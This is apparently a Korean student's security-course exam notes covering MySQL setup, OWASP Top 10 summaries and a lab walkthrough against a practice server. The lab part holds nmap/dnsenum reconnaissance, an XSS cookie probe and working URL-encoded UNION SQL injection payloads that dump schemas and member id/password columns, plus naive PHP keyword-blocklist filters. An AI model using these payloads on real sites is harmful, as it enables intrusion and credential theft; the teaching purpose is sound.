202401to07
  • 6/17 시험준비
    2024년 06월 14일 17시 02분 37초에 업로드 된 글입니다.
    작성자: 202401to07

     

     

    vi /etc/my.cnf

    [mysqld]
    character-set-server=utf8
    
    [client]
    default_character_set=utf8

     

    create database stest;

    use stest;

     

    create table class (
    no int auto_increment unique not null,

    id char(40) primary key,
    pw char(40) not null,
    nick varchar(40) not null,
    reg_date  datetime,
    index (no),

    unique sevas(no,id)
    );

     

    show databases;

     

     use mysql;

     show tables;

     

    select Host, User, Password from user;

    update user set password=password('*12ya~') where user='root';

    password() : 문자열을 해시함수로 변환하는 함수

    select Host, User, Password from user;

     

     mysqldump -u root -p*12ya~ -A  > all.sql                                 

     mysqldump : 백업

     

     


     

    create table class (

    id char(40),
    pw char(40) 
    );

     

    insert into test values ('sevas','asd123');

    select * from test;

    select id,hex((aes_encrypt(pw,sha2('sevas',256)))) from test;

    update class set pw=hex((aes_encrypt(pw,sha2('sevas',256)))) where id='sevas';

    select id,aes_descrypt(unhex(pw),sha2('sevas',256)) from test;

     

    use mysql;

    delete from user where user='';

    select host,user,password from user;

     


     

    1. 다음 보안요구사항에 대한 구체적인 예시를 제시하세요. (5점)  
    ex) [기타 : 그밖의 보안 요구 사항]  *기술지원 요구사항 (유지보수 지원,온라인 기술지원) *SW 관련 인증 요구 사항 (GS인증, SP 인증)
    1) 기능 : 기밀성,무결성을 유지하기 위한 보안 관련 기능적 요소의 요구사항
    2)화면 : 보안 요구사항을 구현한 화면 및 UI에 관한 요구사항 
    3)성능 : 보안 기능또는 보안 솔루션에 대하여 성능에 관련된 요구사항

    기능 : 인증에 대상 및 방식 , 인증 수행 제한 , 암호 키관리 ,중요정보전송 
    화면 : 로그인 UI (비밀번호 표시제한) , 예외를 위한 오류메세지 노출 수위조절 
    성능 : 파일 암호화 시 처리속도 , 로그인시 응답속도 
    ===============================================================================
    2.  운용중인 에플리케이션을 망별 , 용도별 , 운용 별로 현황구분을 하는데 기준은 무엇인가요? 

    1)망  :  내부망 외부망
    2)용도:  클라이언트용 정보시스템용 내부업무용 대외서비스용
    3)운용:  상시운용 , 비정기 운용 , 운용 중비 

    =============================================================================

    3.

     

      246  yum install telnet-server;
      247  service telnet.socket restart
      248  netstat -lntup |grep 23
      249  passwd sevas

    cmd ) telnet 10.10.10.10 

    sevas

    asd123

     

    와이어샤크 vm1) 

    ㄴ 개인정보 노출 

    ㄴ 접속시 암호화 된 


     

    풀이 ) 

    nmap -nP 192.168.10.0/24

      

    nmap -sP 192.168.10.0/24

     

     

    dnsenum --dnsserver 192.168.10.55 http://www.korea10.com

     

    2.1 답 :  www.korea10.com/ 192.168.10.60

     

    nmap -sTU -p 20-150 192.168.10.60

     

     

    telnet 192.168.10.60 80

    Apache/2.4.6 (CentOS) PHP/5.4.16   -==> CVE로 취약점 검색

     

     


    영문 숫자 - 10자리 이상

    영문 숫자 특수기호 - 8자리 이상

    국가기관 - 9자리 이상

     

     

     

    2. 

    CVE(Common Vulnerabilities and Exposure)
    알려진 보안 취약점 목록을 정리하고 정보를 공유하는 목적

    CWE(Common Weakness Enumeration)
    일반적인 취약점을 열거하여 소프트웨어 취약점 유형을 정형화한 목록
    소프트웨어 개발자 및 보안관계자에 제공

    CWE/SANS Top25
    CWE에서 심각한 소프트웨어 취약성을 유발시킬 수 있는 치명적인 약점을 정리한 목록

     

    3.

    A01 : Broken Access Control (접근 권한 취약점)
    :루트킷이나 백도어 ,  
    관리자권한이나 자동실행과같은 취약점이 노출되면서 
    이를 공격자가 이용하여 악의적인 행위를 하게됨 
    대책 :  사용자가 권한을 벗어나 행동할 수 없도록 정책을 시행합니다. 
            (추가되는 관리자 권한 확인 ,권한 제한 ) 

    A02 : Cryptographic Failures (암호화 오류)
    :평문 데이타 노출 
    Sensitive Data Exposure(민감 데이터 노출)의 명칭이 
    2021년 Cryptographic Failures(암호화 오류)로 변경
    절한 암호화가 이루어지지 않으면 민감 데이터가 노출 
    대책 : 암호화 , 문서보안 

    A03: Injection (인젝션)
    sql injection
    sql 쿼리문이 url 이나 인자값에 전달이 되면서 정보를 획득 
    대책 : sql 문의 UNION, JOIN , SELECT 등 악의적인 행위를 할수 있는 코드를 
          replace해서 공백으로 바꾸는등 시큐어 코딩 진행 , 시그니처 필터

    A04: Insecure Design (안전하지 않은 설계)
    : 웹방화벽 부재 , 가용성 부족, 자원집중, https가 아닌 http 운영 등등 
     누락되거나 비효율적인  제어 설계로 표현되는 다양한 취약점
    대안 : 웹방화벽 설치 , 라운드로빈과 같은 부하분산이중화 , 자원의 분산화 , https 암호화 통신  

    A05: Security Misconfiguration (보안설정오류)
    불필요한 기능이 활성화 되거나 설치되었을 때, 기본계정 및 암호화가 변경되지 않았을 때, 
    지나치게 상세한 오류 메세지를 노출할 때, 
    최신 보안기능이 비활성화 되거나 안전하지 않게 구성되었을 때 발생합니다.
    대안 : directoryindex 보안설정 , 서버시그니처 제한 , 웹페이지 출력 제한 , (DNAT) 포트변환 

    A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
    취약하고 오래된 요소는 지원이 종료되었거나 오래된 버전을 사용할 때 발생합니다. 
    이는 애플리케이션 뿐만 아니라, DBMS, API 및 모든 구성요소 들이 포함됩니다. 
    대안: 프로그램 최신화 , 업데이트 

    A07: Identification and Authentication Failures (식별 및 인증 오류)
    Broken Authentication(취약한 인증)으로 알려졌던 해당 취약점은 
    identification failures(식별 실패)까지 포함하여 더 넓은 범위를 포함할 수 있도록 변경되었습니다. 
    사용자의 신원확인, 인증 및 세션관리가 적절히 되지 않을 때 취약점이 발생할 수 있습니다.
    대안 : 세션파기 , 재사용금지 , 자동 세션종료 , 비밀번호확인 절차 추가 (비밀번호확인 , OTP , recaptcha  등등)
     
    A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
    2021년 새로 등장한 카테고리로 무결성을 확인하지 않고 
    소프트웨어 업데이트, 중요 데이터 및 CI/CD 파이프라인과 관련된 가정을 하는데 중점을 둡니다. 
    대안 : 무결성 점검 프로세스 구현 , 직원보안교육 (체크섬 확인 )  , 검증되지 않은 프로그램 다운로드X 

    A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
    Insufficient Logging & Monitoring(불충분한 로깅 및 모니터링) 명칭이었던 카테고리가 
    Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)로 변경되었습니다. 
    로깅 및 모니터링 없이는 공격활동을 인지할 수 없습니다. 
    이 카테고리는 진행중인 공격을 감지 및 대응하는데 도움이 됩니다. 
    대안 : IDS , IPS ,UTM 등 보안장비 구현 

    A10: Server-Side Request Forgery (서버 측 요청 위조)
    2021년 새롭게 등장하였습니다. SSRF 결함은 웹 애플리케이션이 
    사용자가 제공한 URL의 유효성을 검사하지 않고 원격 리소스를 가져올 때마다 발생합니다.
     이를 통해 공격자는 방화벽, VPN 또는 다른 유형의 네트워크 ACL(액세스 제어 목록)에 의해 보호되는 경우에도 
    응용 프로그램이 조작된 요청을 예기치 않은 대상으로 보내도록 강제할 수 있습니다.
    Server-side Request Forgery  서버쪽에서 위조된 호출을 유도하는 공격
    xss 공격과 유사하게 외부 호스트를 호출하는대신 로컬호스트를 호출하여 내부적인 공격을함
    사용자의 입력값으로 URL을 받아서 처리하는 서비스의 경우 이를 이용해서 출력시킴

     

    4.

    백신사용 

    최신업데이트 프로그램 사용 

    보안교육


     

    칼리) 

    nmap -nP 192.168.10.0/24

    dnsenum --dnsserver 192.168.10.60 www.korea10.com

    telnet 192.168.10.60 80

     

    1.

    <script> alert(document.cookie)</script>

    쿠키값 노출 = 취약

    2.

    http://192.168.10.60/board_view.php?b_no= 

    DB)

    0%27union%20select%20table_name,table_schema,1,1,1%20from%20information_schema.tables%20group%20by%20table_schema%20limit%200,1--+ 

    b_tb : bacubacu / hackmap / mysql / sevas / webhack

    CHARACTER_SETS  : information_schema

    cond_instances :  performance_schema


    TABLE ) 
    0%27union%20select%20table_schema,table_name,1,1,1%20from%20information_schema.tables%20where%20table_schema='hackmap'%20limit%200,1--+

    hackmap : b_tb / class

    bacubacu : b_tb / class

    mysql  : b_tbclass

    sevas  : b_tb class

    webhack :  b_tb class

    컬럼 ) 

    %27union%20select%20table_name,table_schema,%20column_name,1,1%20from%20information_schema.columns%20where%20table_name='b_tb'%20limit%200,1--+

    bacubacu  b_tb  : b_no / subject / user / contents / reg_date

    b_tb   : b_no / subject / user / contents / reg_date

    쭉쭉

    %27union%20select%20table_name,table_schema,%20column_name,1,1%20from%20information_schema.columns%20where%20table_name='class'%20limit%200,1--+

    bacubacu   class  : c_no / id / pw / nick / join_date

    hackmap    class  :  c_no / id / pw / nick / join_date

    쭉쭉

    ID, PW ) 
    0%27union%20select%201,id,pw,1,1%20from%20bacubacu.class%20limit%200,1--+

    내가 만든 yejin계정이 있는지 확인 

    있다면 그 테이블이 이 서버의 회원관리 테이블

    0%27union%20select%201,id,pw,1,1%20from%20hackmap.class%20limit%206,1--+          ===> (발견)

    따라서 , 이 서버의 회원관리 테이블은 hackmap 이다 . 

     

    3.

    xss는 자바스크립트가 필요하고 클라이언트에서 실행
    csrf는 자바스크립트가 아니더라도 서버의 동작원리를 사용해서 공격이 가능, 서버에서 실행됨
    get은 url에 파라미터로 실행되고, 
    post는 body에서 실행됨


    1. 자바스크립트를 통해서 xss 공격이 가능한지 확인하기 위해 경고창을 쿠키로 출력하는 코드를 작성하세요
    <script> alert(document.cookie) </script>

    2. php에서 subject 와 contents 변수를 가지고 있는 페이지에서 xss 공격을 막기 위한 보안방법과 대표적인 코드를 작성하세요

    보안방법: 입력값 검증을 통해서 자바스크립트 를쓸수 있는 구문 및 특수문자를 제어/치환하고 기타 웹방화벽, 보안 라이브러리를 활용한다.
    $subject = str_replace("<","",$subject);
    $contents = str_replace("<","",$contents);

    3. $b_no GET파라미터에 SQL injection 공격을 했을때 보안 방법과 막는 코드를 작성하세요.


    보안방법: 입력값 검증을 통해 SQL에 들어갈수 있는 UNION select 와 같은 주요 코드를 차단한다.
    코드작성:
    if(preg_match('/(union|select|from|where)/i', $b_no))
    {
    echo "No SQL-Injection!!!!<br>";
    exit;
    }


    4. $upfile[$i] 파라미터를 통해 웹페이지에 업로드시 php, html| 이 업로드 될경우 보안대책과 이에 대한 코드를 작성하세요.
    보안방법: 업로드시 입력되는 파일 웹스크립트 확장자를 차단한다.
    코드작성:
    if(preg_match("/(.php|.html|.htm)/i",$upfile[$i]))
    {
    echo "html,php 관련 파일은 업로드 불가";
    exit;
    }

    5. 다운로드관련 보안을 할때 확인해야하는 보안방법은 무엇입니까?
    1.DB에 업로드된 내용 확인
    2.상위디렉토리로 접근할수 있는 ../../../ 과 같은 특수문자를 제어/치환한다.

     

     

     

     

    '보안' 카테고리의 다른 글

    2024.06.18.보안 day51  (0) 2024.06.18
    2024.06.17.보안 day50  (0) 2024.06.17
    2024.06.14.보안 day49  (0) 2024.06.14
    커널 포워딩 , IPTABLES , FOWARD  (0) 2024.06.14
    2024.06.13.보안 day48  (0) 2024.06.13
    댓글